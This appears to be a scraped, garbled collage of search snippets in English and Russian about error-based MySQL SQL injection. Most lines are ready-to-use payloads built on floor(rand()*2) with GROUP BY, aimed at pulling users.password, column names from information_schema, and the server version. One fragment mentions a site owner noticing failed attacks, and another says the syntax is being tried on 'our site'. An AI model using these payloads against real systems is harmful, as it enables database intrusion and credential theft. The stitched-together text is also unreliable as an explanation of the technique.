1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- Name_const(Mysql 5.0.12.
...Elt 1224 1224 1 0x716a767171 Floor Rand 0 2 X From Information Schema Plugins Group By X A
I have detected some failed SQL injection attacks on my website. The failed queries are of the form: … The ':sjw:1:ukt:1' part is specially constructed with variables concatenated together to give random 0s...
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...Select elt 8258 8258 1 0x7170707871 floor rand 0 2 X from information schema
...1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
...Count Concat 0x71767a7671 Select Elt 5827 5827 1 0x71626a7171 Floor Rand 0 2 X From Information Schema Plugins Group By X A - cкачать
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(version() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Текущая база
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.